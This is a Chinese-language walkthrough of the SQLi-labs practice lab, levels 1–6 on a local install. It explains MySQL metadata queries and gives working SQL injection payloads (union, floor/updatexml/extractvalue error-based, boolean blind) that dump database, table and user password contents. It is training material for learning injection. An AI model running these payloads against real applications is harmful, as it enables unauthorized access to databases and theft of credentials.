1——65关 SQLI-labs全部通关记录(终极详细)

0 安装和配置

1 注意 php5xxx

2 修改数据库配置文件:user、pass

3 注意打开网页根目录下,setup 初始化数据库

4 修改系统环境变量

本地访问目录[http://127.0.0.1/sql/Less-1/?id=1](http://127.0.0.1/sql/Less-1/?id=1)

sql:1——65关通关参考文档(含sqlmap)

1——23关,含较多讲解的参考版本

1——65关,注重原理的讲解

1——10关b站参考视频

配置总结

数据库账户密码配置sql/sql-connections/db-creds.inc里面可以配置数据库账户密码

本地命令行登录数据库(Windows)mysql -uroot -pmima

Mysql 常用操作

1
2
3
4
5
6
7
8
9
一起默写一下SQL注入的核心语句吧,巩固记忆,方便后续注入的使用
information_schema
schemata(schema_name)
tables(table_schema,table_name)
columns(table_schema,table_name,column_name)
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='dvwa';
select column_name from information_schema.columns where table_name='users' and table_schema='dvwa';
select concat(username,password) from dvwa.users;

测试报错<font style="color:rgba(0, 0, 0, 0.85);">"0,\"),\",))'\""</font>

查表

1
2
3
4
查库:select schema_name from information_schema.schemata;
查表:select table_name from information_schema.tables where table_schema='security';
查列:select column_name from information_schema.columns where table_name='users';(关键字有哪些)
查字段:select username,password from security.users;

常用函数

1
2
3
4
5
6
7
select system_user();  // 连接到数据库的用户身份 root@localhost 
select user(); //
select current_user();
select database(); 当前使用的数据库
select version(); 版本信息
select @@datadir; mysql数据存储路径——上一级目录有数据库配置文件
select @@version_compile_os; 当前系统版本

联合查询出数据库信息

1
2
3
4
查库名:联合查询,拼接每一行后,用一行返回信息
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;--+
查表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+

基础挑战 1-20

L1 报错/函数/联合注入

  • 注意:id 值可能为 int/varchar这个是在数据库定义的
    • 报错的类型不是指的 id 类型,是指我们输入的数据被当作类型
    • (这个是写在后端的)
    • 有单引号,字符型

联合查询总结

1
2
3
4
5
6
7
8
9
记得把联合查询后面:所有的有'单引号的地方——删除单引号、编码为hex、前面加上0x
?id=1' 如果报错了,则有注入
?id=1' order by 3--+ 二分法,查看有多少列,当报错说明列数大了,直到不报错为止(小于等于列数,就不会报错)
?id=-1' union select 1,2,3;--+ 看哪些列有回显,这里是23
注意用作返回信息的列的返回数据类型,需要与对应数据库中列的默认数据类型相同(但是用户名密码一般都是字符型,不存在)
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;--+ 查看有哪些数据库
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+ 查看security中所有表,注意:table_schema容易打错
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';--+ 查看security中users表中的所有字段
?id=-1' union select 1,2,group_concat(concat_ws(':',username,password)) from security.users;--+ 查security数据库中users表中的username和password字段的值

基础概念

L1参考文档

查询

1
2
3
select * from users;  // 找出users表中所有数据
select * from users limit 0,1; // 从users表第0行开始,共显示1
select * from users limit 2,4; // 从users表第2行开始,共显示4

判断报错:无论数字/字符型都可以用单引号判断报错 ‘ &&还可以用判断语句判断注入

1
2
3
4
5
6
7
8
9
10
这个时候
?id=1' // 报错
?id=1' or 1=1 // 报错
?id=1' and 1=1 // 报错


(特别注意:or 和 and 的前后必须有空格,不然会报错;等于号的前后无所谓)
// 以下两种都不报错
?id=1' or 1=1--+
?id=1' and 1=1--+

排序查询

1
2
3
select * from users order by 2;  // 按照第二列排序
//可以以此判断,一共有多少列
select * from users order by 4; // 这里直接报错,因为只有3列(平时可以用2分法)

联合注入

联合注入:sql 有回显的地方(把本身的回显屏蔽了,然后查询自己想要的内容)

1
2
id=1' union select 1,2,3--+
SELECT * FROM users WHERE id='1' union select 1,2,3-- ' LIMIT 0,1;

还是显示的原来查询的东西,这个时候需要屏蔽他,

才能得到我们想要的回显

改为 -1 即可

1
2
3
4
5
6
7
id=-1' union select 1,2,3--+  // 这个语句在mysql中需要手工再加一个;因为本来的分号被屏蔽了
SELECT * FROM users WHERE id='-1' union select 1,2,3-- ' LIMIT 0,1;


// 上面虽然能注入成功,但是为了保险还是最好加个;
// 所以注入的时候
SELECT * FROM users WHERE id='-1' union select 1,2,3;-- ' LIMIT 0,1;

常用函数

mysql 常用函数

显示当前用户的函数:

1
2
3
select system_user();  // 连接到数据库的用户身份 root@localhost 
select user(); //
select current_user();

数据库和系统信息:

1
2
3
4
select database(); 当前使用的数据库
select version(); 版本信息
select @@datadir; mysql数据存储路径——上一级目录有数据库配置文件
select @@version_compile_os; 当前系统版本

联合查询的使用

0 已经用 order by 查出数据库列数,联合查询的 1 ,2,3 数量应和列数相同,且在最后一个位置(3)查数据

1 注意,查询位置的类型,应该和该列的默认数据类型相同

2 首先用 union select 1,2,3 判断回显信息的位置

3 然后利用回显的位置查询库、表、用户…

1
?id=-1' union select 1,2,3;--+  在2,3位置有回显,

查库

1
2
?id=-1' union select 1,schema_name from information_schema.schemata,3;--+
可以看到,这里只能显示一行,通过limit 0,1逐步增加第二个可以得到数据

1
2
3
?id=-1' union select 1,2,schema_name from information_schema.schemata limit 1,1;--+
?id=-1' union select 1,2,schema_name from information_schema.schemata limit 2,1;--+
?id=-1' union select 1,2,schema_name from information_schema.schemata limit 3,1;--+

把所有数据链接、拼接为一行,进行显示

1
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;--+

查表(从 security 数据库中)

1
2
3
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+
table_schema='security'可能会带来单引号问题,建议转为16进制(且前面加上0x)
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479;--+

查列名(有哪些字段)

1
2
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';--+  // 编码如下
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273;--+

查列中的值

1
2
3
4
?id=-1' union select 1,2,group_concat(username,password) from security.users;--+
可以看到密码和账号没有分开,用新的拼接函数。先拼接显示、再拼接为一行
?id=-1' union select 1,2,group_concat(concat_ws(' ',username,password))from security.users;--+
?id=-1' union select 1,2,group_concat(concat_ws(0x20,username,password))from security.users;--+ 编码一下

数字型/字符型判断

数字型/字符型判断参考文档

  • 首先要理解:查询字段本身的类型和报错的类型不是一个东西
    • 查询字段的类型是定义在数据库里的
    • 报错类型是定义在后端代码里的
      • 指的我们输入数据被当作字符型还是数字对待
  • 如下:
    • 字段 id 的类型可以是int/varchar
    • 当 id 为 int 的时候,后面输入的也值可以是字符
  • 但是:
    • 比如usernamepassword在数据库中这种一定是字符型的定义
    • 其对应的查询字段也一定是字符型的(不会是数字)

  • orderby 判断:

    • id=1 order by 9999--+数字型会报错,字符型不会
  • 字符型

    • 查询语句select from user where id = '1 order by 9999--+'
    • 没有用'闭合的时候,注释符号--+是被当做查询值的一部分的(没有起作用)
    • 实际上:只会截取到第一个不是数字的字母为止
      • 1 order by 9999 --+这里就会直接被当作查 1
      • 1asdas也会被当作查 1
      • asd1就会被错
  • 数字型

    • 查询语句select from user where id=1 order by 9999--+
    • 这个时候注释符起作用了:查询 id 等于 1 的表项,按照第 9999 个属性字段排序
    • 现实中肯定不存在 9999 个属性的表项,所以会报错
  • 逻辑判断猜测:

    • id:可以存为intvarcharchar其查询值可能是数字,也可能是字符
      • 用第一种方式判断
    • username、password 这种肯定是varcharchar不然会报错
      • 默认是字符型
  • 常规判断:**<font style="color:#DF2A3F;">and 1=1</font>****<font style="color:#DF2A3F;">and 1=2</font>**

    • 数字型:
      • ?id=1 and 1=1--+逻辑对:不报错
        • 查询语句select from user where id=1--+
      • ?id=1 and 1=2--+逻辑不对:报错
        • 查询语句select from user where id=2--+
    • 字符型:
      • ?id=1 and 1=2--+不报错:因为被当作整个字符串处理了
        • 查询语句select from user where id='1 and 1=2--+'
        • id这个属性mysql 查询到 1 后面的第一个字母,就停止了,模糊判断1 and 1=2--+为 1

L1 手工注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#判断注入点:
?id=1' 显示报错,这里有注入点

#判断输入值的类型
?id=1 and 1=1不报错
?id=1 and 1=2不报错
(字符型)

#判断有多少列
?id=1'order by 10--+
?id=1'order by 5--+
?id=1'order by 4--+
?id=1'order by 3--+ 找到不报错的位置(二分查找)

#联合查询:查看哪些可以回显
?id=-1' union select 1,2,3--+ 显示23可以回显

#联合查询:查看当前是什么数据库
?id=-1' union select 1,2,database()--+ 显示当前使用security数据库

#联合查询:查库、查表、查表的字段、查库中某个表:字段为username/password字段的信息
注意用作返回信息的列的返回数据类型,需与对应数据库中列的默认数据类型相同
所以:这里用2,3都可以,1的字段是id类型可能是数字,也可能是字符
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;--+ 查看有哪些数据库
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+ 查看security中所有表,注意:table_schema容易打错
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';--+ 查看security中users表中的所有字段
?id=-1' union select 1,2,group_concat(concat_ws(':',username,password)) from security.users;--+ 查security数据库中users表中的username和password字段的值

#联合查询

注意:在查表中所有字段时,我们上面使用的语句没有声明数据库,它会默认在当前使用的数据库中查询

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';--+

如果需要指定数据库如:security

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+

L2 数字型

数字型和字符型的唯一区别就是:数字型不需要闭合单引号,字符型需要

判断基础信息

1
2
3
4
5
6
7
8
9
?id=1'		有报错
#判断为字符型
?id=1 and 1=1 不报错
?id=1 and 1=2 报错
#判断列数为3
?id=1 order by 4--+ 报错
?id=1 order by 3--+ 不报错
#查回显:回显为2,3
?id=-1 union select 1,2,3--+

查库的信息

1
2
3
4
5
6
7
8
#查有哪些库
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
#查security库里有哪些表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
#查users表里面有哪些字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
#查users表中字段为username、password的所有信息
?id=-1 union select 1,2,group_concat(concat_ws('--',username,password)) from security.users--+

L3 闭合符号’)

闭合符号不同')

判断类型

1
2
3
4
5
#显然是字符型
?id=1 and 1=1和?id=1 and 1=2都不报错
#查看字段为3
?id=1') order by 3--+
#后面不再赘述

L4 闭合符号”)

闭合符合不同")

  • 判断闭合符号
    • ')都不会报错,只有"报错
      • 但是加上?id=1"--+还是报错,可能不止一种闭合符号
      • 测试?id=1")--+就不报错了
      • 因此闭合符号为")

L5 查询结果无回显(报错注入)

类型判断

可以看到 id=1 是对的,但是查询结果没有回显

查看源代码,可以看到,源码里面没有写回显数据的函数

以前的关卡是写了返回结果的

这里需要报错注入了

  • 判断类型
    • ?id=1'报错
    • ?id=1 and 1=1--+不报错
    • ?id=1 and 1=2--+不报错
    • 因此类型为字符型(逻辑判断被当作字符串内容解析了,而数据库模糊匹配:只匹配了 1)

floor注入原理

MYSQL floor 报错注入详解_mysql 报错注入 floor-CSDN博客

(不超过 64 字符)

语句SELECT COUNT(*),floor(RAND(0)*2) as x from users GROUP BY x

  • floor报错原理:利用主键不能重复,使用随机数序列配合group by的逻辑
    • 数据库主键重复会报错
    • rand(0) * 2会产生数字序列为011011
    • group by在统计数据时会产生虚表(临时表),用作统计
      • 在查询时会计算一次rand(0) * 2第一次是 0
      • 如果表中没有该数据,向虚表插入数据会在计算一次rand(0) * 2第二次就变成 1
1
2
count  x
1 1
    * 查询第二个数据时计算一次`rand(0) * 2`第三次变成 1
        + 但是表中已经有值为 1 的数据了,不需要插入,count+1 即可
1
2
count  x
2 1
    * 查询第三个数据计算一次`rand(0) * 2`第四次变成 0
        + 表中没有值为 0 的数据,需要插入
        + 插入时再计算一次`rand(0) * 2`,第五次变为 1
1
2
3
count  x
2 1
1 1
  • 这样表中就有两个主键为 1 的表项,就会报错

floor 注入 payload

(最多回显 64 个字符)

1
2
3
4
5
?id=1'union select count(*),0,
concat(0x3a,
(<payload>),
0x3a,floor(rand(0)*2))
as a from information_schema.tables group by a --+

获取**数据库**

1
2
?id=1'union select count(*),0,concat(0x3a,(select database()),0x3a,floor(rand(0)*2))
as a from information_schema.tables group by a--+

获取**版本、数据库、用户**

1
2
3
http://127.0.0.1/sql/Less-5/?id=1'union select count(*),0,
concat((select concat(database(),0x3a,version(),0x3a,user())),0x3a,0x3a,floor(rand(0)*2)) as a
from information_schema.tables group by a--+

**security 数据库**中有哪些**表**

1
2
3
?id=1'union select count(*),0,
concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),0x3a,floor(rand(0)*2)) as a
from information_schema.tables group by a--+

**security 数据库**中的**users**表有哪些列名

floor报错注入只能回显 64 字符

1
2
3
4
5
6
7
8
payload1
?id=1' union select count(*),0,concat(0x3a,(select group_concat(column_name)
from information_schema.columns where table_name='users'),0x3a,floor(rand(0)*2)) as a
from information_schema.tables group by a--+
payload2
?id=1' union select count(*),0,concat(0x3a,(select group_concat(column_name)
from information_schema.columns where table_name='users' and table_schema='security'),0x3a,floor(rand(0)*2)) as a
from information_schema.tables group by a--+

注意上面没有声明数据库,会有一些非我们想查数据库的冗余信息,推荐 payload2

**security.users**中的**username&password**键的值

1
2
3
4
5
6
7
8
因为这里返回内容远超过64字符,会有问题,需要用substring(string,pos,len)控制返回长度
(从0开始不能正常返回,需要从1开始,然后可以多段返回。使用limit不行,只能用substring)
?id=1' union select count(*),0,concat((select substring(group_concat(concat_ws('--',username,password)),1,64) from security.users),0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a--+

查username
?id=1' union select count(*),0,concat((select username from security.users limit 0,1),0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a--+
查password
?id=1' union select count(*),0,concat((select password from security.users limit 0,1),0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a--+

updatexml/extractvalue 原理

MYSQL updatexml报错注入 - vspiders - 博客园

(不超过 32 字符)

  • 总结:

    • updatexml(para1,para2,para3)用于修改
      • para1 文件名、para2 文件路径 Xpath、para3 新值
    • extractvalue(para1,para2)
      • para1 文件名、para2 文件路径 Xpath
    • payload 都在 para2 处,区别只是有没有 para3
      • para1 和 para3 随意填即可
  • 在 mysql 高于 5.1 添加对 XML 文档查询/修改的函数

    • updatexml()、extractvalue()
    • 当 xml 文档路径错误,会报错
      • 使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • updatexml(XML_document, XPath_string, new_value);用不同的xml标记匹配和替换xml块的函数

    • XML_documentString格式,为XML文档对象名称(文中为 DOC)
    • XPath_stringXpath格式的字符串
      • //title【@lang】
    • new_valueString格式(新的替换数据)
  • select * from test where ide = 1 and (updatexml(1,0x7e,3));

    • 由于0x7e~,不属于xpath语法格式,因此报出xpath语法错误
  • extractvalue(XML_document,xpath_string)从目标 XML 中返回包含查询值的字符串

    • XML_documentString格式,XML文档对象名称
    • xpath_stringXpath格式的字符串
  • 如下:

1
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

updatexml注入payload

(不超过 32 字符)

1
id=1' and updatexml(1,concat(0x7e,(<payload>),0x7e),1) --+

查当前使用数据库

1
?id=1' and updatexml(1,concat(0x7e,(select database())),1)--+

查有哪些数据库

1
2
这里可以自己调节substring来返回数据
?id=1' and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),35,32)),1)--+

查当前数据库名、版本、用户

1
2
3
?id=1' and updatexml(1,concat(0x7e,database(),version(),0x7e, user()),1)--+
下面这样写也可以
?id=1' and updatexml(1,concat(0x7e,(select database()),(select version()),0x7e,(select user())),1)--+

**security**数据库里有哪些表

1
?id=1' and updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),1)--+

**security**数据库中有哪些**columns**

1
?id=1' and updatexml(1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema ='security'),1)--+

使用substring调整返回数据

1
?id=1' and updatexml(1,substring((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema ='security'),1,32),1)--+

**security.users**中的**username&password**

1
2
使用substring调整了返回数据
?id=1' and updatexml(1,substring((select group_concat(concat_ws(':',username,password)) from security.users),15,32),1)--+

extractvalue 注入payload

查当前使用的数据库、版本、用户

1
?id=1' and extractvalue(1,concat(0x3a,database(),0x3a,version(),0x3a,user()))--+

查有哪些数据库

1
?id=1' and extractvalue(1,substring((select group_concat(schema_name) from information_schema.schemata),35,32))--+

**security**数据库中有哪些表

1
?id=1' and extractvalue(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'))--+

**security**数据库中**users**表中有哪些**columns**

1
?id=1' and extractvalue(1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'))--+

**security.users**中的**username&password**

1
?id=1' and extractvalue(1,substring((select group_concat(concat_ws('_',username,password)) from security.users),1,32))--+

总结

  • group_concat用来把同一个返回字段,但是有多个返回值的,返回回来
    • select group_concat(table_name) from information_schema.tables
  • concat用来连接多个不同字段,可以自定义连接符
    • ?id=1' and updatexml(1,concat(0x3a,database(),0x3a,version()),1)--+
  • concat_ws用来连接不同字段,同时都有多个值,需要配合group_concat 食用
    • select group_concat(concat_ws('_',username,password)) from security.users
  • 注意
    • 1 尽量都在 sql 语句外面加一个括号,不然可能会报语法错误
    • 2 如果有时候没有返回值,可以使用limit或者substring
      • 推荐substring
    • 3 三种报错注入方式中,updatexml感觉是最方便的,简单且好打字

L6 报错注入 or 布尔盲注

<font style="color:rgba(0, 0, 0, 0.85);">"0,\"),\",))'\""</font>

判断类型

  • 双引号报错",闭合符号不一样
  • 测试数据类型
    • ?id=1 and 1=1--+不报错
    • ?id=1 and 1=2--+不报错
    • 字符类型

报错注入payload

和第五关一样,换成"闭合即可

1
2
当前数据库、版本、用户
?id=1" and extractvalue(1,concat(0x3a,database(),0x3a,version(),user()))--+

1
2
有哪些数据库
?id=1" and extractvalue(1,substring((select group_concat(schema_name) from information_schema.schemata),35,32))--+

1
2
查security数据库中有什么表
?id=1" and extractvalue(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'))--+

1
2
查security数据库中的users表有哪些表项	
?id=1" and extractvalue(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))--+

1
2
查security.users中的username和password中的内容
?id=1" and extractvalue(1,substring((select group_concat(concat_ws(':',username,password)) from security.users),1,32))--+

布尔盲注

手动注入太麻烦了,不推荐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#判断当前数据库长度
?id=12' and (select length(database())>5) --+
#判断当前数据库名
?id=12' and (select ascii(substr(database(),1,1))>=97) --+
#判断第一个表的表长度
?id=12' and (select length(table_name)>5 from information_schema.tables where table_schema=database() limit 0,1) --+
#判断第二个表名
?id=12' and (select ascii(substr(table_name,1,1))>97 from information_schema.tables where table_schema=database() limit 1,1) --+
#判断users表的第一个字段长度
?id=12' and (select length(column_name)>1 from information_schema.columns where table_schema=database() and table_name='users' limit 0,1) --+
#判断users表的第一个字段名
?id=12' and (select ascii(substr(column_name,1,1))>65 from information_schema.columns where table_schema=database() and table_name='users' limit 0,1) --+
#判断username列的第一条数据长度
?id=12' and (select length(username)>1 from users limit 0,1) --+
#判断username列的第一条数据
?id=12' and (select ascii(substr(username,1,1))>=65 from users limit 0,1) --+

可以用脚本

L7 GET注入写shell